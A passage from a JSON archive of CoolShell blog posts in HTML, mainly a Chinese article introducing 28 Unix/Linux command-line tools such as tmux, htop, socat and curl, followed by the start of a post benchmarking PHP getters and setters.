class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3928.html\"><img alt=\"计算机专业学生的大学生活\" height=\"150\" src=\"../wp-content/uploads/2011/03/4kQAz-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3928.html\">计算机专业学生的大学生活</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17061.html\"><img alt=\"Docker基础技术：AUFS\" height=\"150\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19.html\"><img alt=\"时间1234567890\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19.html\">时间1234567890</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7526.html\">Lisp的永恒之道</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-7-11 28个Unix_Linux的命令行神器.html",
    "content": "<html><body><p>下面是<a href=\"http://kkovacs.eu/\" target=\"_blank\">Kristóf Kovács</a>收集的28个Unix/Linux下的28个命令行下的工具（<a href=\"http://kkovacs.eu/cool-but-obscure-unix-tools\" target=\"_blank\">原文链接</a>），有一些是大家熟悉的，有一些是非常有用的，有一些是不为人知的。这些工具都非常不错，希望每个人都知道。本篇文章还在<a href=\"http://news.ycombinator.com/item?id=2567186\" target=\"_blank\">Hacker News上被讨论</a>，你可以过去看看。我以作者的原文中加入了官网链接和一些说明。</p>\n<div class=\"alpha grid_6\">\n<h4>dstat &amp; sar</h4>\n<p>iostat, vmstat, ifstat 三合一的工具，用来查看系统性能（我在《<a href=\"https://coolshell.cn/articles/7490.html\" target=\"_blank\" title=\"性能调优攻略\">性能调优攻略</a>》中提到过那三个xxstat工具）。</p>\n<p>官方网站：<a href=\"http://dag.wieers.com/rpm/packages/dstat/\" target=\"_blank\">http://dag.wieers.com/rpm/packages/dstat/</a></p>\n<p>你可以这样使用：</p>\n<p><code class=\"EnlighterJSRAW\">alias dstat='dstat -cdlmnpsy'</code></p>\n<div class=\"align_right\">\n<p><img alt=\"dstat screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/dstat_screenshot.png\" title=\"\" width=\"400\"/></p>\n<h4 class=\"caption_text\">slurm</h4>\n</div>\n<p>查看网络流量的一个工具</p>\n<p>官方网站：<em>  <a href=\"https://computing.llnl.gov/linux/slurm/\" target=\"_blank\">Simple Linux Utility for Resource Management</a></em></p>\n<p><span id=\"more-7829\"></span></p>\n<div class=\"align_right\">\n<p><img alt=\"slurm screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/slurm_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>vim &amp; emacs</h4>\n<p>真正程序员的代码编辑器。</p>\n<div class=\"align_right\">\n<p><img alt=\"vim screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/vim_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>screen, dtach, tmux, byobu</h4>\n<p>你是不是经常需要 SSH 或者 telent 远程登录到 Linux 服务器？你是不是经常为一些长时间运行的任务而头疼，比如系统备份、ftp 传输等等。通常情况下我们都是为每一个这样的任务开一个远程终端窗口，因为他们执行的时间太长了。必须等待它执行完毕，在此期间可不能关掉窗口或者断开连接，否则这个任务就会被杀掉，一切半途而废了。</p>\n<p><a href=\"http://www.gnu.org/software/screen/\" target=\"_blank\"><strong>Screen</strong></a>是一个可以在多个进程之间多路复用一个物理终端的窗口管理器。Screen中有会话的概念，用户可以在一个screen会话中创建多个screen窗口，在每一个screen窗口中就像操作一个真实的telnet/SSH连接窗口那样。请参看IBM DeveloperWorks的这篇文章《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-cn-screen/\" target=\"_blank\">使用 screen 管理你的远程会话</a>》</p>\n<p><img alt=\"gnu screen screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/gnu_screen_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p><a href=\"http://dtach.sourceforge.net/\" target=\"_blank\"><strong>dtach</strong> </a>是用来模拟screen的detach的功能的小工具，其可以让你随意地attach到各种会话上 。下图为dtach+dvtm的样子。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7861\" height=\"477\" src=\"../wp-content/uploads/2012/07/dtach+dvtm.png\" title=\"dtach+dvtm\" width=\"500\"/></p>\n<p><strong><a href=\"http://tmux.sourceforge.net/\" rel=\"nofollow\" title=\"http://tmux.sourceforge.net/\">tmux</a></strong>是一个优秀的终端复用软件，类似<a href=\"http://www.gnu.org/software/screen/\" rel=\"nofollow\" title=\"http://www.gnu.org/software/screen/\">GNU Screen</a>，但来自于OpenBSD，采用BSD授权。使用它最直观的好处就是，通过一个终端登录远程主机并运行tmux后，在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机；当然其功能远不止于此。与screen相比的优点：可以横向和纵向分割窗口，且窗格可以自由移动和调整大小。可在多个缓冲区进行复制和粘贴，支持跨窗口搜索；非正常断线后不需重新detach；……  有人说——<strong>与tmux相比，screen简直弱爆了</strong>。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7860\" height=\"404\" src=\"../wp-content/uploads/2012/07/tmux3.png\" title=\"tmux\" width=\"650\"/></p>\n<div class=\"align_right\">\n<p><a href=\"https://launchpad.net/byobu/\" target=\"_blank\"><strong>byobu</strong></a>是Ubuntu开发的，在Screen的基础上进行包装，使其更加易用的一个工具。最新的Byobu，已经是基于Tmux作为后端了。可通过“byobu-tmux”这个命令行前端来接受各种与tmux一模一样的参数来控制它。Byobu的细节做的非常好，效果图如下：<img alt=\"\" class=\"aligncenter size-full wp-image-7864\" height=\"406\" src=\"../wp-content/uploads/2012/07/byobu-tmux.jpg\" title=\"byobu-tmux\" width=\"650\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>multitail</h4>\n<p>MultiTail是个用来实现同时监控多个文档、类似tail命令的功能的软件。他和tail的区别就是他会在控制台中打开多个窗口，这样使同时监控多个日志文档成为可能。他还可以看log文件的统计，合并log文件，过滤log文件，分屏，……。</p>\n<p>官网：<a href=\"http://www.vanheusden.com/multitail/\">http://www.vanheusden.com/multitail/</a></p>\n<div class=\"align_right\">\n<p><img alt=\"multitail screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/multitail_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>tpp</h4>\n<p>终端下的PPT，要是在某某大会上用这个演示PPT，就太TMD的Geek了。</p>\n<p>官网：<a href=\"http://www.ngolde.de/tpp.html\">http://www.ngolde.de/tpp.html</a></p>\n<div class=\"align_right\">\n<p><img alt=\"tpp screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/tpp_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>xargs &amp; parallel</h4>\n<p>Executes tasks from input (even multithread).</p>\n<p>xargs 是一个比较古老的命令，有简单的并行功能，这个不说了。<span>对于</span><a href=\"http://www.gnu.org/software/parallel/\"><span>GNU parallel</span></a><span> ( </span><a href=\"http://savannah.gnu.org/projects/parallel\"><span>online manpage</span></a><span><span> )来说，它不仅能够处理本机上多执行绪，还能分散至远端电脑协助处理。</span><span>而使用GNU parallel前，要先确定本机有安装GNU parallel / ssh / rsync，远端电脑也要安装ssh。</span></span></p>\n<div class=\"align_right\">\n<p><img alt=\"xargs screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/xargs_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>duplicity &amp; rsyncrypto</h4>\n<p><a href=\"http://duplicity.nongnu.org/\" target=\"_blank\">Duplicity</a>是使用rsync算法加密的高效率备份软件，Duplicity支持目录加密生产和格式上传到远程或本地文件服务器。</p>\n<p><a href=\"http://rsyncrypto.lingnu.com/index.php/Home_Page\" target=\"_blank\">rsyncrypto</a> 就是 rsync + encryption。对于rsync的算法可参看酷壳的<a href=\"https://coolshell.cn/articles/7425.html\" target=\"_blank\" title=\"rsync 的核心算法\">rsync核心算法</a>。</p>\n<p>Encrypting backup tools.</p>\n<div class=\"align_right\">\n<p><img alt=\"duplicity screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/duplicity_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>nethack &amp; slash’em</h4>\n<p><a href=\"http://www.nethack.org/\" target=\"_blank\">NetHack</a>（<a href=\"http://zh.wikipedia.org/zh/NetHack\" target=\"_blank\">Wiki</a>），20年历史的古老电脑游戏。没有声音，没有漂亮的界面，不过这个游戏真的很有意思。网上有个家伙说：<strong>如果你一生只做一件事情，那么玩NetHack</strong>。这句话很惹眼，但也让人觉得这个游戏很复杂不容易上手。其实，这个游戏很虽然很复杂，却容易上手。虽然玩通关很难，但上手很容易。NetHack上有许多复杂的规则，”the DevTeam thinks of everything”（开发团队想到了所有的事情)。各种各样的怪物，各种各样的武器….，有许多spoilers文件来说明其规则。除了每次开始随机生成的地图，每次玩游戏，你也都会碰到奇怪的事情: 因为喝了一种药水，变成了机器人;因为踢坏了商店的门被要求高价赔偿;你的狗为你偷来了商店的东西….. 这有点象人生，你不能完全了解这个世界，但你仍然可以选择自己的面对方式。</p>\n<p>网上有许多文章所这是最好的电脑游戏或最好的电脑游戏之一。也许是因为它开放的源代码让人赞赏，古老的历史让人宽容，复杂的规则让人敬畏。虽然它不是当前流行的游戏，但它比任何一个当前流行的游戏都更有可能再经受20年的考验。</p>\n<p><a href=\"http://www.slashem.org\" target=\"_blank\">Slash’EM</a> 也是一个基于NetHack的经典游戏。</p>\n<div class=\"align_right\">\n<p><img alt=\"nethack screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/nethack_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>lftp</h4>\n<p>利用<a href=\"http://lftp.yar.ru/\" target=\"_blank\">lftp</a>命令行ftp工具进行网站数据的增量备份，镜像，就像使用rsync一样。</p>\n<div class=\"align_right\">\n<p><img alt=\"lftp screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/lftp_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>ack</h4>\n<p><a href=\"http://betterthangrep.com/\"><span>ack</span></a><span>是一个perl脚本，是grep的一个可选替换品。其可以对匹配字符有高亮显示。是为程序员专门设计的，默认递归搜索，省提供多种文件类型供选。</span></p>\n<div class=\"align_right\">\n<p><img alt=\"ack screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/ack_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>calcurse &amp; remind + wyrd</h4>\n<p><a href=\"http://calcurse.org/\" target=\"_blank\">calcurse</a>是一个命令行下的日历和日程软件。<a href=\"http://www.roaringpenguin.com/products/remind\" target=\"_blank\">remind</a> + <a href=\"http://pessimization.com/software/wyrd/\" target=\"_blank\">wyrd</a>也很类似。关于日历，我不得不提一个<a href=\"https://coolshell.cn/articles/3489.html\" target=\"_blank\" title=\"Linux的cycle日历（你懂的）\">Linux的Cycle日历</a>，也是一个神器，呵呵。</p>\n<div class=\"align_right\">\n<p><img alt=\"calcurse screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/calcurse_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>newsbeuter &amp; rsstail</h4>\n<p><a href=\"http://newsbeuter.org/\" target=\"_blank\">newsbeuter </a>和 <a href=\"http://www.vanheusden.com/rsstail/\" target=\"_blank\">rsstail</a> 是命令行下RSS的阅读工具。</p>\n<div class=\"align_right\">\n<p><img alt=\"newsbeuter screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/newsbeuter_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>powertop</h4>\n<p><a href=\"https://coolshell.cn/articles/7186.html\" target=\"_blank\" title=\"做个环保主义的程序员\">做个环保的程序员</a>，看看自己的电脑里哪些程序费电。<a href=\"https://01.org/powertop/\" target=\"_blank\">PowerTOP</a> 是一个让 Intel 平台的笔记本电脑节省电源的 Linux 工具。此工具由 Intel 公司发布。它可以帮助用户找出那些耗电量大的程序，通过修复或者关闭那些应用程序或进程，从而为用户节省电源。</p>\n<div class=\"align_right\">\n<p><img alt=\"powertop screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/powertop_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n</div>\n<div class=\"omega grid_6\">\n<h4>htop &amp; iotop</h4>\n<p><a href=\"http://htop.sourceforge.net/\" target=\"_blank\">htop</a> 和 <a href=\"http://guichaz.free.fr/iotop/\" target=\"_blank\">iotop</a>  用来查看进程，内存和IO负载。</p>\n<div class=\"align_right\">\n<p><img alt=\"htop screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/htop_screenshot.png\" title=\"\" width=\"400\"/></p>\n</div>\n<h4>ttyrec &amp; ipbt</h4>\n<p><a href=\"http://0xcc.net/ttyrec/index.html.en\" target=\"_blank\">ttyrec</a> 是一个 tty 控制台录制程序，其所录制的数据文件可以使用与之配套的 ttyplay 播放。不管是你在 tty 中的各种操作，还是在 tty 中耳熟能详的软件，都可进行录制。</p>\n<p><a href=\"http://www.chiark.greenend.org.uk/~sgtatham/ipbt/\" target=\"_blank\">ipbt</a> 是一个用来回放 ttyrec 所录制的控制台输入过程的工具。</p>\n<p>与此类似的还有<a href=\"http://shelr.tv/\" target=\"_blank\">Shelr</a> 和 <a href=\"http://sourceforge.net/projects/termrec/\" target=\"_blank\">termrec </a></p>\n<div class=\"align_right\">\n<p><img alt=\"ipbt screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/ipbt_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>rsync</h4>\n<p>通过SSH进行文件同步的经典工具（<a href=\"https://coolshell.cn/articles/7425.html\" target=\"_blank\" title=\"rsync 的核心算法\">核心算法</a>）</p>\n<div class=\"align_right\">\n<p><img alt=\"rsync screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/rsync_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>mtr</h4>\n<p><a href=\"http://www.bitwizard.nl/mtr/\" target=\"_blank\">MTR</a> – traceroute 2.0，其是把 traceroute 和 ping 集成在一块的一个小工具 用于诊断网络。</p>\n<div class=\"align_right\">\n<p><img alt=\"mtr screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/mtr_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>socat &amp; netpipes</h4>\n<p><a href=\"http://www.dest-unreach.org/socat/\" target=\"_blank\">socat</a>是一个多功能的网络工具，名字来由是” Socket CAT”，可以看作是netcat的N倍加强版。</p>\n<p><a href=\"http://web.purplefrog.com/~thoth/netpipes/\" target=\"_blank\">netpipes</a> 和socat一样，主要是用来在命令行来进行socket操作的命令，这样你就可以在Shell脚本下行进socket网络通讯了。</p>\n<div class=\"align_right\">\n<p><img alt=\"socat screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/socat_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>iftop &amp; iptraf</h4>\n<p><a href=\"http://www.ex-parrot.com/~pdw/iftop/\" target=\"_blank\">iftop</a>和<a href=\"http://iptraf.seul.org/\" target=\"_blank\">iptraf</a>可以用来查看当前网络链接的一些流量情况。</p>\n<div class=\"align_right\">\n<p><img alt=\"iftop screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/iftop_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7867\" height=\"354\" src=\"../wp-content/uploads/2012/07/iptraf-tcpudp.gif\" title=\"iptraf-tcpudp\" width=\"562\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>siege &amp; tsung</h4>\n<p><a href=\"http://www.joedog.org/siege-home/\" target=\"_blank\">Siege</a>是一个压力测试和评测工具，设计用于WEB开发这评估应用在压力下的承受能力：可以根据配置对一个WEB站点进行多用户的并发访问，记录每个用户所有请求过程的相应时间，并在一定数量的并发访问下重复进行。</p>\n<p><a href=\"http://tsung.erlang-projects.org/\" target=\"_blank\">Tsung</a> 是一个压力测试工具，可以测试包括HTTP, WebDAV, PostgreSQL, MySQL, LDAP, and XMPP/Jabber等服务器。针对 HTTP 测试，Tsung 支持 HTTP 1.0/1.1 ，包含一个代理模式的会话记录、支持 GET、POST 和 PUT 以及 DELETE 方法，支持 Cookie 和基本的 WWW 认证，同时还支持 SSL。</p>\n<p>参看：<a href=\"https://coolshell.cn/articles/2589.html\" target=\"_blank\" title=\"十个免费的Web压力测试工具\">十个免费的Web压力测试工具</a></p>\n<div class=\"align_right\">\n<p><img alt=\"siege screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/siege_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>ledger</h4>\n<p><a href=\"http://ledger-cli.org/\" target=\"_blank\">ledger</a> 一个命令行下记帐的小工具。</p>\n<div class=\"align_right\">\n<p><img alt=\"ledger screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/ledger_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>taskwarrior</h4>\n<p><a href=\"http://taskwarrior.org/projects/show/taskwarrior\" target=\"_blank\">TaskWarrior</a> 是一个基于命令行的 TODO 列表管理工具。主要功能包括：标签、彩色表格输出、报表和图形、大量的命令、底层API、多用户文件锁等功能。</p>\n<div class=\"align_right\">\n<p><img alt=\"taskwarrior screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/taskwarrior_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p>下图是TaskWarrior 2.0的界面：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7868\" height=\"480\" src=\"../wp-content/uploads/2012/07/TaskWarrior2.0.png\" title=\"TaskWarrior2.0\" width=\"395\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>curl</h4>\n<p><a href=\"http://curl.haxx.se/\" target=\"_blank\">cURL</a>是一个利用URL语法在命令行下工作的文件传输工具，1997年首次发行。它支持文件上传和下载，所以是综合传输工具，但按传统，习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。cURL支援的通訊協定有FTP、FTPS、HTTP、HTTPS、TFTP、SFTP、Gopher、SCP、Telnet、DICT、FILE、LDAP、LDAPS、IMAP、POP3、SMTP和RTSP。</p>\n<div class=\"align_right\">\n<p><img alt=\"curl screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/curl_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>rtorrent &amp; aria2</h4>\n<p><a href=\"http://libtorrent.rakshasa.no/\" target=\"_blank\">rTorrent</a> 是一个非常简洁、优秀、非常轻量的BT客户端. 它使用了 ncurses 库以 C++ 编写, 因此它完全基于文本并在终端中运行. 将 rTorrent 用在安装有 GNU Screen 和 Secure Shell 的低端系统上作为远程的 BT 客户端是非常理想的。</p>\n<p><a href=\"http://aria2.sourceforge.net/\">aria2</a> 是 Linux 下一个不错的高速下载工具。由于它具有分段下载引擎，所以支持从多个地址或者从一个地址的多个连接来下载同一个文件。这样自然就大大加快了文件的下载速度。aria2 也具有断点续传功能，这使你随时能够恢复已经中断的文件下载。除了支持一般的 http(s) 和 ftp 协议外，aria2 还支持 BitTorrent 协议。这意味着，你也可以使用 aria2 来下载 torrent 文件。</p>\n<div class=\"align_right\">\n<p class=\"caption_text\"> <img alt=\"rtorrent screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/rtorrent_screenshot.png\" title=\"\" width=\"400\"/></p>\n</div>\n<h4>ttytter &amp; earthquake</h4>\n<p><a href=\"http://www.floodgap.com/software/ttytter\" target=\"_blank\">TTYtter</a> 是一个Perl写的命令行上发Twitter的工具，可以进行所有其他平台客户端能进行的事情，当然，支持中文。脚本控、CLI控、终端控、Perl控的最愛。</p>\n<p><a href=\"https://github.com/jugyo/earthquake\" target=\"_blank\">Earthquake</a>也是一个命令行上的Twitter客户端。</p>\n<div class=\"align_right\">\n<p><img alt=\"ttytter screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/ttytter_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7870\" height=\"314\" src=\"../wp-content/uploads/2012/07/earthquake.jpg\" title=\"earthquake\" width=\"550\"/></p>\n<p class=\"caption_text\">\n</p></div>\n<h4>vifm &amp; ranger</h4>\n<p><a href=\"http://vifm.sourceforge.net/\" target=\"_blank\">Vifm</a> 基于ncurses的文件管理器，DOS风格，用键盘操作。</p>\n<p><img alt=\"vifm screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/vifm_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p><a href=\"http://savannah.nongnu.org/projects/ranger\" target=\"_blank\">Ranger</a>用 Python 完成，默认为使用 Vim 风格的按键绑定，比如 hjkl（上下左右），dd（剪切），yy（复制）等等。功能很全，扩展/可配置性也非常不错。类似MacOS X下Finder（文件管理器）的多列文件管理方式。支持多标签页。实时预览文本文件和目录。</p>\n<div class=\"align_right\">\n<p class=\"caption_text\"><img alt=\"\" class=\"aligncenter size-full wp-image-7871\" height=\"340\" src=\"../wp-content/uploads/2012/07/ranger.png\" title=\"ranger\" width=\"668\"/></p>\n</div>\n<h4>cowsay &amp; sl</h4>\n<p><a href=\"http://www.nog.net/~tony/warez/cowsay.shtml\" target=\"_blank\">cowsay </a> 不说了，如下所示，哈哈哈。还有xcowsay，你可以自己搜一搜。</p>\n<div class=\"align_right\">\n<p><img alt=\"cowsay screenshot\" class=\"aligncenter\" height=\"326\" src=\"../wp-content/uploads/2012/07/cowsay_screenshot.png\" title=\"\" width=\"400\"/></p>\n<p class=\"caption_text\"> sl是什么？ls？，呵呵，你会经常把ls 打成sl吗？如果是的话，这个东西可以让你娱乐一下，你会看到一辆火车呼啸而过~~，相当拉风。你可以使用sudo apt-get install sl 安装。</p>\n<p class=\"caption_text\"><img alt=\"\" class=\"aligncenter size-full wp-image-7872\" height=\"254\" src=\"../wp-content/uploads/2012/07/sl.jpg\" title=\"sl\" width=\"500\"/></p>\n<p class=\"caption_text\">最后，再介绍一个命令中linuxlogo，你可以使用 sudo apt-get install linuxlogo来安装，然后，就可以使用linuxlogo -L<br/>\n来看一下各种Linux的logo了</p>\n<p class=\"caption_text\"><img alt=\"\" class=\"aligncenter\" height=\"371\" src=\"../wp-content/uploads/2012/07/linuxlogo.jpg\" title=\"linuxlogo\" width=\"450\"/></p>\n<p class=\"caption_text\">（全文完）</p>\n</div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-7-13 代码执行的效率.html",
    "content": "<html><body><p>在《<a href=\"https://coolshell.cn/articles/7490.html\" target=\"_blank\" title=\"性能调优攻略\">性能调优攻略</a>》里，我说过，要调优性需要找到程序中的Hotspot，也就是被调用最多的地方，这种地方，只要你能优化一点点，你的性能就会有质的提高。在这里我给大家举三个关于代码执行效率的例子（它们都来自于网上）</p>\n<h4><strong>第一个例子</strong></h4>\n<p><strong> PHP中Getter和Setter的效率</strong>（<a href=\"http://www.reddit.com/r/programming/comments/wdsgn/today_i_learned_that_creating_getters_setters_in/\" target=\"_blank\">来源reddit</a>）</p>\n<p>这个例子比较简单，你可以跳过。</p>\n<p>考虑下面的PHP代码：我们可看到，使用Getter/Setter的方式，性能要比直接读写成员变量要差一倍以上。</p>\n<pre class=\"EnlighterJSRAW\">&lt;?php\n\t//dog_naive.php\n\n\tclass dog {\n\t\tpublic $name = \"\";\n\t\tpublic function setName($name) {\n\t\t\t$this-&amp;gt;name = $name;\n\t\t}\n\t\tpublic function getName() {\n\t\t\treturn $this-&amp;gt;name;\n\t\t}\n\t}\n\n\t$rover = new dog();\n        //通过Getter/Setter方式\n\tfor ($x=0; $x&lt;10; $x++) {\n\t\t$t = microtime(true);\n\t\tfor ($i=0; $i&lt;1000000; $i++) {\n\t\t\t$rover-&gt;setName(\"rover\");\n\t\t\t$n = $rover-&gt;getName();\n\t\t}\n\t\techo microtime(true) - 